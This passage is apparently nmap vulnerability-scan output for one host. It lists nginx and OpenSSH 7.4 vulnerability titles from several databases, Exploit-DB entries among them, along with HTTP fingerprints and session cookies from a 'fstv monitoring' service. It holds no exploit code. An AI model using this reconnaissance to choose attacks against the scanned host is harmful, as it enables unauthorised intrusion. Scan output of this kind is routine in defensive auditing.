22665| [80124] nginx HTTP Header Response Parsing Freed Memory Information Disclosure
22666| [77184] nginx ngx_resolver.c ngx_resolver_copy() Function DNS Response Parsing Remote Overflow
22667| [65531] nginx on Windows URI ::$DATA Append Arbitrary File Access
22668| [65530] nginx Encoded Traversal Sequence Memory Corruption Remote DoS
22669| [65294] nginx on Windows Encoded Space Request Remote Source Disclosure
22670| [63136] nginx on Windows 8.3 Filename Alias Request Access Rules / Authentication Bypass
22671| [62617] nginx Internal DNS Cache Poisoning Weakness
22672| [61779] nginx HTTP Request Escape Sequence Terminal Command Injection
22673| [59278] nginx src/http/ngx_http_parse.c ngx_http_process_request_headers() Function URL Handling NULL Dereference DoS
22674| [58328] nginx WebDAV Multiple Method Traversal Arbitrary File Write
22675| [58128] nginx ngx_http_parse_complex_uri() Function Underflow
22676| [44447] nginx (engine x) msie_refresh Directive Unspecified XSS
22677| [44446] nginx (engine x) ssl_verify_client Directive HTTP/0.9 Protocol Bypass
22678| [44445] nginx (engine x) ngx_http_realip_module satisfy_any Directive Unspecified Access Bypass
22679| [44444] nginx (engine x) X-Accel-Redirect Header Unspecified Traversal
22680| [44443] nginx (engine x) rtsig Method Signal Queue Overflow
22681| [44442] nginx (engine x) Worker Process Millisecond Timers Unspecified Overflow
22682|_
226831935/tcp open rtmp?
226848080/tcp open http-proxy
22685| fingerprint-strings:
22686| FourOhFourRequest:
22687| HTTP/1.1 302 Found
22688| X-Powered-By: fstv monitoring 1.0.2
22689| Location: /
22690| Vary: Accept
22691| Content-Type: text/plain; charset=utf-8
22692| Content-Length: 23
22693| set-cookie: connect.sid=s%3AFdxnxFmh01Y4Hu3eywGw4PXbk2qm4E4G.ei2odGkgfXDGKGyR9HE6wb77owXz5%2BDP8BF1ObaguH0; Path=/; HttpOnly
22694| Date: Mon, 25 Nov 2019 02:23:25 GMT
22695| Connection: close
22696| Found. Redirecting to /
22697| GetRequest:
22698| HTTP/1.1 401 Unauthorized
22699| X-Powered-By: fstv monitoring 1.0.2
22700| Content-Type: text/plain; charset=utf-8
22701| Content-Length: 12
22702| ETag: W/"c-4G0bpw8TMen5oRPML4h9Pw"
22703| set-cookie: connect.sid=s%3ATDHo0bm_ZnXFuWJdvw_yAWSD0ZgwR6jr.VoOD4ma099DLXyFgopzDLD0ZSot%2FwKr98KgjaeCHStw; Path=/; HttpOnly
22704| Date: Mon, 25 Nov 2019 02:23:25 GMT
22705| Connection: close
22706| Unauthorized
22707| HTTPOptions:
22708| HTTP/1.1 200 OK
22709| X-Powered-By: fstv monitoring 1.0.2
22710| Allow: GET,HEAD
22711| Content-Type: text/html; charset=utf-8
22712| Content-Length: 8
22713| ETag: W/"8-8ww6QOmj5lyGjHVKXelZGQ"
22714| set-cookie: connect.sid=s%3AFvZeyrKVEdbFMBtOhALRzIlHKU_6IORh.z%2FaK1EYXrVA80wZQBgF8HgUGrMmSxJfkzE8dDC2njj8; Path=/; HttpOnly
22715| Date: Mon, 25 Nov 2019 02:23:25 GMT
22716| Connection: close
22717|_ GET,HEAD
2271850010/tcp open ssh OpenSSH 7.4 (protocol 2.0)
22719| vulners:
22720| cpe:/a:openbsd:openssh:7.4:
22721| CVE-2018-15919 5.0 https://vulners.com/cve/CVE-2018-15919
22722|_ CVE-2017-15906 5.0 https://vulners.com/cve/CVE-2017-15906
22723| vulscan: VulDB - https://vuldb.com:
22724| [130671] gsi-openssh-server 7.9p1 on Fedora /etc/gsissh/sshd_config weak authentication
22725| [130371] OpenSSH 7.9 scp Man-in-the-Middle directory traversal
22726| [130370] OpenSSH 7.9 Man-in-the-Middle spoofing
22727| [130369] OpenSSH 7.9 Encoding progressmeter.c refresh_progress_meter() spoofing
22728| [129007] OpenSSH 7.9 scp Client scp.c Filename privilege escalation
22729| [123343] OpenSSH up to 7.8 GSS2 auth-gss2.c information disclosure
22730| [123011] OpenSSH up to 7.7 auth2-gss.c Request information disclosure
22731| [112267] OpenSSH up to 7.3 sshd kex.c/packet.c NEWKEYS Message denial of service
22732| [108627] OpenSSH up to 7.5 Readonly Mode sftp-server.c process_open unknown vulnerability
22733| [94611] OpenSSH up to 7.3 Access Control privilege escalation
22734| [94610] OpenSSH up to 7.3 Shared Memory Manager privilege escalation
22735| [94608] OpenSSH up to 7.3 Unix-Domain Socket privilege escalation
22736| [94607] OpenSSH up to 7.3 Forwarded Agent Channel privilege escalation
22737| [90671] OpenSSH up to 7.2 auth-passwd.c auth_password denial of service
22738| [90405] OpenSSH up to 7.2p2 sshd information disclosure
22739| [90404] OpenSSH up to 7.2p2 sshd information disclosure
22740| [90403] OpenSSH up to 7.2p2 sshd CPU Exhaustion denial of service
22741| [89622] OpenSSH 7.2p2 Authentication Username information disclosure
22742| [81320] OpenSSH up to 7.2p1 X11 Authentication Credential xauth privilege escalation
22743| [80656] OpenBSD OpenSSH 7.1 X11 Forwarding privilege escalation
22744| [80330] OpenSSH up to 7.1p1 packet.c ssh_packet_read_poll2 memory corruption
22745|
22746| MITRE CVE - https://cve.mitre.org:
22747| [CVE-2010-4755] The (1) remote_glob function in sftp-glob.c and the (2) process_put function in sftp.c in OpenSSH 5.8 and earlier, as used in FreeBSD 7.3 and 8.1, NetBSD 5.0.2, OpenBSD 4.7, and other products, allow remote authenticated users to cause a denial of service (CPU and memory consumption) via crafted glob expressions that do not match any pathnames, as demonstrated by glob expressions in SSH_FXP_STAT requests to an sftp daemon, a different vulnerability than CVE-2010-2632.
22748| [CVE-1999-0661] A system is running a version of software that was replaced with a Trojan Horse at one of its distribution points, such as (1) TCP Wrappers 7.6, (2) util-linux 2.9g, (3) wuarchive ftpd (wuftpd) 2.2 and 2.1f, (4) IRC client (ircII) ircII 2.2.9, (5) OpenSSH 3.4p1, or (6) Sendmail 8.12.6.
22749|
22750| SecurityFocus - https://www.securityfocus.com/bid/:
22751| [102780] OpenSSH CVE-2016-10708 Multiple Denial of Service Vulnerabilities
22752| [101552] OpenSSH 'sftp-server.c' Remote Security Bypass Vulnerability
22753| [94977] OpenSSH CVE-2016-10011 Local Information Disclosure Vulnerability
22754| [94975] OpenSSH CVE-2016-10012 Security Bypass Vulnerability
22755| [94972] OpenSSH CVE-2016-10010 Privilege Escalation Vulnerability
22756| [94968] OpenSSH CVE-2016-10009 Remote Code Execution Vulnerability
22757| [93776] OpenSSH 'ssh/kex.c' Denial of Service Vulnerability
22758| [92212] OpenSSH CVE-2016-6515 Denial of Service Vulnerability
22759| [92210] OpenSSH CBC Padding Weak Encryption Security Weakness
22760| [92209] OpenSSH MAC Verification Security Bypass Vulnerability
22761| [91812] OpenSSH CVE-2016-6210 User Enumeration Vulnerability
22762| [90440] OpenSSH CVE-2004-1653 Remote Security Vulnerability
22763| [90340] OpenSSH CVE-2004-2760 Remote Security Vulnerability
22764| [89385] OpenSSH CVE-2005-2666 Local Security Vulnerability
22765| [88655] OpenSSH CVE-2001-1382 Remote Security Vulnerability
22766| [88513] OpenSSH CVE-2000-0999 Remote Security Vulnerability
22767| [88367] OpenSSH CVE-1999-1010 Local Security Vulnerability
22768| [87789] OpenSSH CVE-2003-0682 Remote Security Vulnerability
22769| [86187] OpenSSH 'session.c' Local Security Bypass Vulnerability
22770| [86144] OpenSSH CVE-2007-2768 Remote Security Vulnerability
22771| [84427] OpenSSH CVE-2016-1908 Security Bypass Vulnerability
22772| [84314] OpenSSH CVE-2016-3115 Remote Command Injection Vulnerability
22773| [84185] OpenSSH CVE-2006-4925 Denial-Of-Service Vulnerability
22774| [81293] OpenSSH CVE-2016-1907 Denial of Service Vulnerability
22775| [80698] OpenSSH CVE-2016-0778 Heap Based Buffer Overflow Vulnerability
22776| [80695] OpenSSH CVE-2016-0777 Information Disclosure Vulnerability
22777| [76497] OpenSSH CVE-2015-6565 Local Security Bypass Vulnerability
22778| [76317] OpenSSH PAM Support Multiple Remote Code Execution Vulnerabilities
22779| [75990] OpenSSH Login Handling Security Bypass Weakness
22780| [75525] OpenSSH 'x11_open_helper()' Function Security Bypass Vulnerability
22781| [71420] Portable OpenSSH 'gss-serv-krb5.c' Security Bypass Vulnerability
22782| [68757] OpenSSH Multiple Remote Denial of Service Vulnerabilities
22783| [66459] OpenSSH Certificate Validation Security Bypass Vulnerability
22784| [66355] OpenSSH 'child_set_env()' Function Security Bypass Vulnerability
22785| [65674] OpenSSH 'ssh-keysign.c' Local Information Disclosure Vulnerability
22786| [65230] OpenSSH 'schnorr.c' Remote Memory Corruption Vulnerability
22787| [63605] OpenSSH 'sshd' Process Remote Memory Corruption Vulnerability
22788| [61286] OpenSSH Remote Denial of Service Vulnerability
22789| [58894] GSI-OpenSSH PAM_USER Security Bypass Vulnerability
22790| [58162] OpenSSH CVE-2010-5107 Denial of Service Vulnerability
22791| [54114] OpenSSH 'ssh_gssapi_parse_ename()' Function Denial of Service Vulnerability
22792| [51702] Debian openssh-server Forced Command Handling Information Disclosure Vulnerability
22793| [50416] Linux Kernel 'kdump' and 'mkdumprd' OpenSSH Integration Remote Information Disclosure Vulnerability
22794| [49473] OpenSSH Ciphersuite Specification Information Disclosure Weakness
22795| [48507] OpenSSH 'pam_thread()' Remote Buffer Overflow Vulnerability
22796| [47691] Portable OpenSSH 'ssh-keysign' Local Unauthorized Access Vulnerability
22797| [46155] OpenSSH Legacy Certificate Signing Information Disclosure Vulnerability
22798| [45304] OpenSSH J-PAKE Security Bypass Vulnerability
22799| [36552] Red Hat Enterprise Linux OpenSSH 'ChrootDirectory' Option Local Privilege Escalation Vulnerability
22800| [32319] OpenSSH CBC Mode Information Disclosure Vulnerability
22801| [30794] Red Hat OpenSSH Backdoor Vulnerability
22802| [30339] OpenSSH 'X11UseLocalhost' X11 Forwarding Session Hijacking Vulnerability
22803| [30276] Debian OpenSSH SELinux Privilege Escalation Vulnerability
22804| [28531] OpenSSH ForceCommand Command Execution Weakness
22805| [28444] OpenSSH X Connections Session Hijacking Vulnerability
22806| [26097] OpenSSH LINUX_AUDIT_RECORD_EVENT Remote Log Injection Weakness
22807| [25628] OpenSSH X11 Cookie Local Authentication Bypass Vulnerability
22808| [23601] OpenSSH S/Key Remote Information Disclosure Vulnerability
22809| [20956] OpenSSH Privilege Separation Key Signature Weakness
22810| [20418] OpenSSH-Portable Existing Password Remote Information Disclosure Weakness
22811| [20245] OpenSSH-Portable GSSAPI Authentication Abort Information Disclosure Weakness
22812| [20241] Portable OpenSSH GSSAPI Remote Code Execution Vulnerability
22813| [20216] OpenSSH Duplicated Block Remote Denial of Service Vulnerability
22814| [16892] OpenSSH Remote PAM Denial Of Service Vulnerability
22815| [14963] OpenSSH LoginGraceTime Remote Denial Of Service Vulnerability
22816| [14729] OpenSSH GSSAPI Credential Disclosure Vulnerability
22817| [14727] OpenSSH DynamicForward Inadvertent GatewayPorts Activation Vulnerability
22818| [11781] OpenSSH-portable PAM Authentication Remote Information Disclosure Vulnerability
22819| [9986] RCP, OpenSSH SCP Client File Corruption Vulnerability
22820| [9040] OpenSSH PAM Conversation Memory Scrubbing Weakness
22821| [8677] Multiple Portable OpenSSH PAM Vulnerabilities
22822| [8628] OpenSSH Buffer Mismanagement Vulnerabilities
22823| [7831] OpenSSH Reverse DNS Lookup Access Control Bypass Vulnerability
22824| [7482] OpenSSH Remote Root Authentication Timing Side-Channel Weakness
22825| [7467] OpenSSH-portable Enabled PAM Delay Information Disclosure Vulnerability
22826| [7343] OpenSSH Authentication Execution Path Timing Information Leakage Weakness
22827| [6168] OpenSSH Visible Password Vulnerability
22828| [5374] OpenSSH Trojan Horse Vulnerability
22829| [5093] OpenSSH Challenge-Response Buffer Overflow Vulnerabilities
22830| [4560] OpenSSH Kerberos 4 TGT/AFS Token Buffer Overflow Vulnerability
22831| [4241] OpenSSH Channel Code Off-By-One Vulnerability
22832| [3614] OpenSSH UseLogin Environment Variable Passing Vulnerability
22833| [3560] OpenSSH Kerberos Arbitrary Privilege Elevation Vulnerability
22834| [3369] OpenSSH Key Based Source IP Access Control Bypass Vulnerability
22835| [3345] OpenSSH SFTP Command Restriction Bypassing Vulnerability
22836| [2917] OpenSSH PAM Session Evasion Vulnerability
22837| [2825] OpenSSH Client X11 Forwarding Cookie Removal File Symbolic Link Vulnerability
22838| [2356] OpenSSH Private Key Authentication Check Vulnerability
22839| [1949] OpenSSH Client Unauthorized Remote Forwarding Vulnerability
22840| [1334] OpenSSH UseLogin Vulnerability
22841|
22842| IBM X-Force - https://exchange.xforce.ibmcloud.com:
22843| [83258] GSI-OpenSSH auth-pam.c security bypass
22844| [82781] OpenSSH time limit denial of service
22845| [82231] OpenSSH pam_ssh_agent_auth PAM code execution
22846| [74809] OpenSSH ssh_gssapi_parse_ename denial of service
22847| [72756] Debian openssh-server commands information disclosure
22848| [68339] OpenSSH pam_thread buffer overflow
22849| [67264] OpenSSH ssh-keysign unauthorized access
22850| [65910] OpenSSH remote_glob function denial of service
22851| [65163] OpenSSH certificate information disclosure
22852| [64387] OpenSSH J-PAKE security bypass
22853| [63337] Cisco Unified Videoconferencing OpenSSH weak security
22854| [46620] OpenSSH and multiple SSH Tectia products CBC mode information disclosure
22855| [45202] OpenSSH signal handler denial of service
22856| [44747] RHEL OpenSSH backdoor
22857| [44280] OpenSSH PermitRootLogin information disclosure
22858| [44279] OpenSSH sshd weak security
22859| [44037] OpenSSH sshd SELinux role unauthorized access
22860| [43940] OpenSSH X11 forwarding information disclosure
22861| [41549] OpenSSH ForceCommand directive security bypass
22862| [41438] OpenSSH sshd session hijacking
22863| [40897] OpenSSH known_hosts weak security
22864| [40587] OpenSSH username weak security
22865| [37371] OpenSSH username data manipulation
22866| [37118] RHSA update for OpenSSH privilege separation monitor authentication verification weakness not installed
22867| [37112] RHSA update for OpenSSH signal handler race condition not installed
22868| [37107] RHSA update for OpenSSH identical block denial of service not installed
22869| [36637] OpenSSH X11 cookie privilege escalation
22870| [35167] OpenSSH packet.c newkeys[mode] denial of service
22871| [34490] OpenSSH OPIE information disclosure
22872| [33794] OpenSSH ChallengeResponseAuthentication information disclosure
22873| [32975] Apple Mac OS X OpenSSH denial of service
22874| [32387] RHSA-2006:0738 updates for openssh not installed
22875| [32359] RHSA-2006:0697 updates for openssh not installed
22876| [32230] RHSA-2006:0298 updates for openssh not installed
22877| [32132] RHSA-2006:0044 updates for openssh not installed
22878| [30120] OpenSSH privilege separation monitor authentication verification weakness
22879| [29255] OpenSSH GSSAPI user enumeration
22880| [29254] OpenSSH signal handler race condition
22881| [29158] OpenSSH identical block denial of service
22882| [28147] Apple Mac OS X OpenSSH nonexistent user login denial of service
22883| [25116] OpenSSH OpenPAM denial of service
22884| [24305] OpenSSH SCP shell expansion command execution
22885| [22665] RHSA-2005:106 updates for openssh not installed
22886| [22117] OpenSSH GSSAPI allows elevated privileges
22887| [22115] OpenSSH GatewayPorts security bypass
22888| [20930] OpenSSH sshd.c LoginGraceTime denial of service
22889| [19441] Sun Solaris OpenSSH LDAP (1) client authentication denial of service
22890| [17213] OpenSSH allows port bouncing attacks
22891| [16323] OpenSSH scp file overwrite
22892| [13797] OpenSSH PAM information leak
22893| [13271] OpenSSH could allow an attacker to corrupt the PAM conversion stack
22894| [13264] OpenSSH PAM code could allow an attacker to gain access
22895| [13215] OpenSSH buffer management errors could allow an attacker to execute code
22896| [13214] OpenSSH memory vulnerabilities
22897| [13191] OpenSSH large packet buffer overflow
22898| [12196] OpenSSH could allow an attacker to bypass login restrictions
22899| [11970] OpenSSH could allow an attacker to obtain valid administrative account
22900| [11902] OpenSSH PAM support enabled information leak
22901| [9803] OpenSSH "
22902| [9763] OpenSSH downloaded from the OpenBSD FTP site or OpenBSD FTP mirror sites could contain a Trojan Horse
22903| [9307] OpenSSH is running on the system
22904| [9169] OpenSSH "
22905| [8896] OpenSSH Kerberos 4 TGT/AFS buffer overflow
22906| [8697] FreeBSD libutil in OpenSSH fails to drop privileges prior to using the login class capability database
22907| [8383] OpenSSH off-by-one error in channel code
22908| [7647] OpenSSH UseLogin option arbitrary code execution
22909| [7634] OpenSSH using sftp and restricted keypairs could allow an attacker to bypass restrictions
22910| [7598] OpenSSH with Kerberos allows attacker to gain elevated privileges
22911| [7179] OpenSSH source IP access control bypass
22912| [6757] OpenSSH "
22913| [6676] OpenSSH X11 forwarding symlink attack could allow deletion of arbitrary files
22914| [6084] OpenSSH 2.3.1 allows remote users to bypass authentication
22915| [5517] OpenSSH allows unauthorized access to resources
22916| [4646] OpenSSH UseLogin option allows remote users to execute commands as root
22917|
22918| Exploit-DB - https://www.exploit-db.com:
22919| [21579] OpenSSH 3.x Challenge-Response Buffer Overflow Vulnerabilities (2)
22920| [21578] OpenSSH 3.x Challenge-Response Buffer Overflow Vulnerabilities (1)
22921| [21402] OpenSSH 2.x/3.x Kerberos 4 TGT/AFS Token Buffer Overflow Vulnerability
22922| [21314] OpenSSH 2.x/3.0.1/3.0.2 Channel Code Off-By-One Vulnerability
22923| [20253] OpenSSH 1.2 scp File Create/Overwrite Vulnerability
22924| [17462] FreeBSD OpenSSH 3.5p1 - Remote Root Exploit
22925| [14866] Novell Netware 6.5 - OpenSSH Remote Stack Overflow
22926| [6094] Debian OpenSSH Remote SELinux Privilege Elevation Exploit (auth)
22927| [3303] Portable OpenSSH <= 3.6.1p-PAM / 4.1-SUSE Timing Attack Exploit
22928| [2444] OpenSSH <= 4.3 p1 (Duplicated Block) Remote Denial of Service Exploit
22929| [1572] Dropbear / OpenSSH Server (MAX_UNAUTH_CLIENTS) Denial of Service
22930| [258] glibc-2.2 and openssh-2.3.0p1 exploits glibc => 2.1.9x
22931| [26] OpenSSH/PAM <= 3.6.1p1 Remote Users Ident (gossh.sh)
22932| [25] OpenSSH/PAM <= 3.6.1p1 Remote Users Discovery Tool
22933|
22934| OpenVAS (Nessus) - http://www.openvas.org:
22935| [902488] OpenSSH 'sshd' GSSAPI Credential Disclosure Vulnerability
22936| [900179] OpenSSH CBC Mode Information Disclosure Vulnerability
22937| [881183] CentOS Update for openssh CESA-2012:0884 centos6
22938| [880802] CentOS Update for openssh CESA-2009:1287 centos5 i386
22939| [880746] CentOS Update for openssh CESA-2009:1470 centos5 i386
22940| [870763] RedHat Update for openssh RHSA-2012:0884-04
22941| [870129] RedHat Update for openssh RHSA-2008:0855-01
22942| [861813] Fedora Update for openssh FEDORA-2010-5429
22943| [861319] Fedora Update for openssh FEDORA-2007-395
22944| [861170] Fedora Update for openssh FEDORA-2007-394
22945| [861012] Fedora Update for openssh FEDORA-2007-715
22946| [840345] Ubuntu Update for openssh vulnerability USN-597-1
22947| [840300] Ubuntu Update for openssh update USN-612-5
22948| [840271] Ubuntu Update for openssh vulnerability USN-612-2
22949| [840268] Ubuntu Update for openssh update USN-612-7
22950| [840259] Ubuntu Update for openssh vulnerabilities USN-649-1
22951| [840214] Ubuntu Update for openssh vulnerability USN-566-1
22952| [831074] Mandriva Update for openssh MDVA-2010:162 (openssh)
22953| [830929] Mandriva Update for openssh MDVA-2010:090 (openssh)
22954| [830807] Mandriva Update for openssh MDVA-2010:026 (openssh)
22955| [830603] Mandriva Update for openssh MDVSA-2008:098 (openssh)
22956| [830523] Mandriva Update for openssh MDVSA-2008:078 (openssh)
22957| [830317] Mandriva Update for openssh-askpass-qt MDKA-2007:127 (openssh-askpass-qt)
22958| [830191] Mandriva Update for openssh MDKSA-2007:236 (openssh)
22959| [802407] OpenSSH 'sshd' Challenge Response Authentication Buffer Overflow Vulnerability
22960| [103503] openssh-server Forced Command Handling Information Disclosure Vulnerability
22961| [103247] OpenSSH Ciphersuite Specification Information Disclosure Weakness
22962| [103064] OpenSSH Legacy Certificate Signing Information Disclosure Vulnerability
22963| [100584] OpenSSH X Connections Session Hijacking Vulnerability
22964| [100153] OpenSSH CBC Mode Information Disclosure Vulnerability
22965| [66170] CentOS Security Advisory CESA-2009:1470 (openssh)
22966| [65987] SLES10: Security update for OpenSSH
22967| [65819] SLES10: Security update for OpenSSH
22968| [65514] SLES9: Security update for OpenSSH
22969| [65513] SLES9: Security update for OpenSSH
22970| [65334] SLES9: Security update for OpenSSH
22971| [65248] SLES9: Security update for OpenSSH
22972| [65218] SLES9: Security update for OpenSSH
22973| [65169] SLES9: Security update for openssh,openssh-askpass
22974| [65126] SLES9: Security update for OpenSSH
22975| [65019] SLES9: Security update for OpenSSH
22976| [65015] SLES9: Security update for OpenSSH
22977| [64931] CentOS Security Advisory CESA-2009:1287 (openssh)
22978| [61639] Debian Security Advisory DSA 1638-1 (openssh)
22979| [61030] Debian Security Advisory DSA 1576-2 (openssh)
22980| [61029] Debian Security Advisory DSA 1576-1 (openssh)
22981| [60840] FreeBSD Security Advisory (FreeBSD-SA-08:05.openssh.asc)
22982| [60803] Gentoo Security Advisory GLSA 200804-03 (openssh)
22983| [60667] Slackware Advisory SSA:2008-095-01 openssh
22984| [59014] Slackware Advisory SSA:2007-255-01 openssh
22985| [58741] Gentoo Security Advisory GLSA 200711-02 (openssh)
22986| [57919] Gentoo Security Advisory GLSA 200611-06 (openssh)
22987| [57895] Gentoo Security Advisory GLSA 200609-17 (openssh)
22988| [57585] Debian Security Advisory DSA 1212-1 (openssh (1:3.8.1p1-8.sarge.6))
22989| [57492] Slackware Advisory SSA:2006-272-02 openssh
22990| [57483] Debian Security Advisory DSA 1189-1 (openssh-krb5)
22991| [57476] FreeBSD Security Advisory (FreeBSD-SA-06:22.openssh.asc)
22992| [57470] FreeBSD Ports: openssh
22993| [56352] FreeBSD Security Advisory (FreeBSD-SA-06:09.openssh.asc)
22994| [56330] Gentoo Security Advisory GLSA 200602-11 (OpenSSH)
22995| [56294] Slackware Advisory SSA:2006-045-06 openssh
22996| [53964] Slackware Advisory SSA:2003-266-01 New OpenSSH packages
22997| [53885] Slackware Advisory SSA:2003-259-01 OpenSSH Security Advisory
22998| [53884] Slackware Advisory SSA:2003-260-01 OpenSSH updated again
22999| [53788] Debian Security Advisory DSA 025-1 (openssh)
23000| [52638] FreeBSD Security Advisory (FreeBSD-SA-03:15.openssh.asc)
23001| [52635] FreeBSD Security Advisory (FreeBSD-SA-03:12.openssh.asc)
23002| [11343] OpenSSH Client Unauthorized Remote Forwarding
23003| [10954] OpenSSH AFS/Kerberos ticket/token passing
23004| [10883] OpenSSH Channel Code Off by 1
23005| [10823] OpenSSH UseLogin Environment Variables
23006|
23007| SecurityTracker - https://www.securitytracker.com:
23008| [1028187] OpenSSH pam_ssh_agent_auth Module on Red Hat Enterprise Linux Lets Remote Users Execute Arbitrary Code
23009| [1026593] OpenSSH Lets Remote Authenticated Users Obtain Potentially Sensitive Information
23010| [1025739] OpenSSH on FreeBSD Has Buffer Overflow in pam_thread() That Lets Remote Users Execute Arbitrary Code
23011| [1025482] OpenSSH ssh-keysign Utility Lets Local Users Gain Elevated Privileges
23012| [1025028] OpenSSH Legacy Certificates May Disclose Stack Contents to Remote Users
23013| [1022967] OpenSSH on Red Hat Enterprise Linux Lets Remote Authenticated Users Gain Elevated Privileges
23014| [1021235] OpenSSH CBC Mode Error Handling May Let Certain Remote Users Obtain Plain Text in Certain Cases
23015| [1020891] OpenSSH on Debian Lets Remote Users Prevent Logins
23016| [1020730] OpenSSH for Red Hat Enterprise Linux Packages May Have Been Compromised
23017| [1020537] OpenSSH on HP-UX Lets Local Users Hijack X11 Sessions
23018| [1019733] OpenSSH Unsafe Default Configuration May Let Local Users Execute Arbitrary Commands
23019| [1019707] OpenSSH Lets Local Users Hijack Forwarded X Sessions in Certain Cases
23020| [1017756] Apple OpenSSH Key Generation Process Lets Remote Users Deny Service
23021| [1017183] OpenSSH Privilege Separation Monitor Validation Error May Cause the Monitor to Fail to Properly Control the Unprivileged Process
23022| [1016940] OpenSSH Race Condition in Signal Handler Lets Remote Users Deny Service and May Potentially Permit Code Execution
23023| [1016939] OpenSSH GSSAPI Authentication Abort Error Lets Remote Users Determine Valid Usernames
23024| [1016931] OpenSSH SSH v1 CRC Attack Detection Implementation Lets Remote Users Deny Service
23025| [1016672] OpenSSH on Mac OS X Lets Remote Users Deny Service
23026| [1015706] OpenSSH Interaction With OpenPAM Lets Remote Users Deny Service
23027| [1015540] OpenSSH scp Double Shell Character Expansion During Local-to-Local Copying May Let Local Users Gain Elevated Privileges in Certain Cases
23028| [1014845] OpenSSH May Unexpectedly Activate GatewayPorts and Also May Disclose GSSAPI Credentials in Certain Cases
23029| [1011193] OpenSSH scp Directory Traversal Flaw Lets Remote SSH Servers Overwrite Files in Certain Cases
23030| [1011143] OpenSSH Default Configuration May Be Unsafe When Used With Anonymous SSH Services
23031| [1007791] Portable OpenSSH PAM free() Bug May Let Remote Users Execute Root Code
23032| [1007716] OpenSSH buffer_append_space() and Other Buffer Management Errors May Let Remote Users Execute Arbitrary Code
23033| [1006926] OpenSSH Host Access Restrictions Can Be Bypassed By Remote Users
23034| [1006688] OpenSSH Timing Flaw With Pluggable Authentication Modules Can Disclose Valid User Account Names to Remote Users
23035| [1004818] OpenSSH's Secure Shell (SSH) Implementation Weakness May Disclose User Passwords to Remote Users During Man-in-the-Middle Attacks
23036| [1004616] OpenSSH Integer Overflow and Buffer Overflow May Allow Remote Users to Gain Root Access to the System
23037| [1004391] OpenSSH 'BSD_AUTH' Access Control Bug May Allow Unauthorized Remote Users to Authenticated to the System
23038| [1004115] OpenSSH Buffer Overflow in Kerberos Ticket and AFS Token Processing Lets Local Users Execute Arbitrary Code With Root Level Permissions
23039| [1003758] OpenSSH Off-by-one 'Channels' Bug May Let Authorized Remote Users Execute Arbitrary Code with Root Privileges
23040| [1002895] OpenSSH UseLogin Environment Variable Bug Lets Local Users Execute Commands and Gain Root Access
23041| [1002748] OpenSSH 3.0 Denial of Service Condition May Allow Remote Users to Crash the sshd Daemon and KerberosV Configuration Error May Allow Remote Users to Partially Authenticate When Authentication Should Not Be Permitted
23042| [1002734] OpenSSH's S/Key Implementation Information Disclosure Flaw Provides Remote Users With Information About Valid User Accounts
23043| [1002455] OpenSSH May Fail to Properly Restrict IP Addresses in Certain Configurations
23044| [1002432] OpenSSH's Sftp-server Subsystem Lets Authorized Remote Users with Restricted Keypairs Obtain Additional Access on the Server
23045| [1001683] OpenSSH Allows Authorized Users to Delete Other User Files Named Cookies
23046|
23047| OSVDB - http://www.osvdb.org:
23048| [92034] GSI-OpenSSH auth-pam.c Memory Management Authentication Bypass
23049| [90474] Red Hat / Fedora PAM Module for OpenSSH Incorrect error() Function Calling Local Privilege Escalation
23050| [90007] OpenSSH logingracetime / maxstartup Threshold Connection Saturation Remote DoS
23051| [81500] OpenSSH gss-serv.c ssh_gssapi_parse_ename Function Field Length Value Parsing Remote DoS
23052| [78706] OpenSSH auth-options.c sshd auth_parse_options Function authorized_keys Command Option Debug Message Information Disclosure
23053| [75753] OpenSSH PAM Module Aborted Conversation Local Information Disclosure
23054| [75249] OpenSSH sftp-glob.c remote_glob Function Glob Expression Parsing Remote DoS
23055| [75248] OpenSSH sftp.c process_put Function Glob Expression Parsing Remote DoS
23056| [72183] Portable OpenSSH ssh-keysign ssh-rand-helper Utility File Descriptor Leak Local Information Disclosure
23057| [70873] OpenSSH Legacy Certificates Stack Memory Disclosure
23058| [69658] OpenSSH J-PAKE Public Parameter Validation Shared Secret Authentication Bypass
23059| [67743] Novell NetWare OpenSSH SSHD.NLM Absolute Path Handling Remote Overflow
23060| [59353] OpenSSH sshd Local TCP Redirection Connection Masking Weakness
23061| [58495] OpenSSH sshd ChrootDirectory Feature SetUID Hard Link Local Privilege Escalation
23062| [56921] OpenSSH Unspecified Remote Compromise
23063| [53021] OpenSSH on ftp.openbsd.org Trojaned Distribution
23064| [50036] OpenSSH CBC Mode Chosen Ciphertext 32-bit Chunk Plaintext Context Disclosure
23065| [49386] OpenSSH sshd TCP Connection State Remote Account Enumeration
23066| [48791] OpenSSH on Debian sshd Crafted Username Arbitrary Remote SELinux Role Access
23067| [47635] OpenSSH Packages on Red Hat Enterprise Linux Compromised Distribution
23068| [47227] OpenSSH X11UseLocalhost X11 Forwarding Port Hijacking
23069| [45873] Cisco WebNS SSHield w/ OpenSSH Crafted Large Packet Remote DoS
23070| [43911] OpenSSH ~/.ssh/rc ForceCommand Bypass Arbitrary Command Execution
23071| [43745] OpenSSH X11 Forwarding Local Session Hijacking
23072| [43371] OpenSSH Trusted X11 Cookie Connection Policy Bypass
23073| [39214] OpenSSH linux_audit_record_event Crafted Username Audit Log Injection
23074| [37315] pam_usb OpenSSH Authentication Unspecified Issue
23075| [34850] OpenSSH on Mac OS X Key Generation Remote Connection DoS
23076| [34601] OPIE w/ OpenSSH Account Enumeration
23077| [34600] OpenSSH S/KEY Authentication Account Enumeration
23078| [32721] OpenSSH Username Password Complexity Account Enumeration
23079| [30232] OpenSSH Privilege Separation Monitor Weakness
23080| [29494] OpenSSH packet.c Invalid Protocol Sequence Remote DoS
23081| [29266] OpenSSH GSSAPI Authentication Abort Username Enumeration
23082| [29264] OpenSSH Signal Handler Pre-authentication Race Condition Code Execution
23083| [29152] OpenSSH Identical Block Packet DoS
23084| [27745] Apple Mac OS X OpenSSH Nonexistent Account Login Enumeration DoS
23085| [23797] OpenSSH with OpenPAM Connection Saturation Forked Process Saturation DoS
23086| [22692] OpenSSH scp Command Line Filename Processing Command Injection
23087| [20216] OpenSSH with KerberosV Remote Authentication Bypass
23088| [19142] OpenSSH Multiple X11 Channel Forwarding Leaks
23089| [19141] OpenSSH GSSAPIAuthentication Credential Escalation
23090| [18236] OpenSSH no pty Command Execution Local PAM Restriction Bypass
23091| [16567] OpenSSH Privilege Separation LoginGraceTime DoS
23092| [16039] Solaris 108994 Series Patch OpenSSH LDAP Client Authentication DoS
23093| [9562] OpenSSH Default Configuration Anon SSH Service Port Bounce Weakness
23094| [9550] OpenSSH scp Traversal Arbitrary File Overwrite
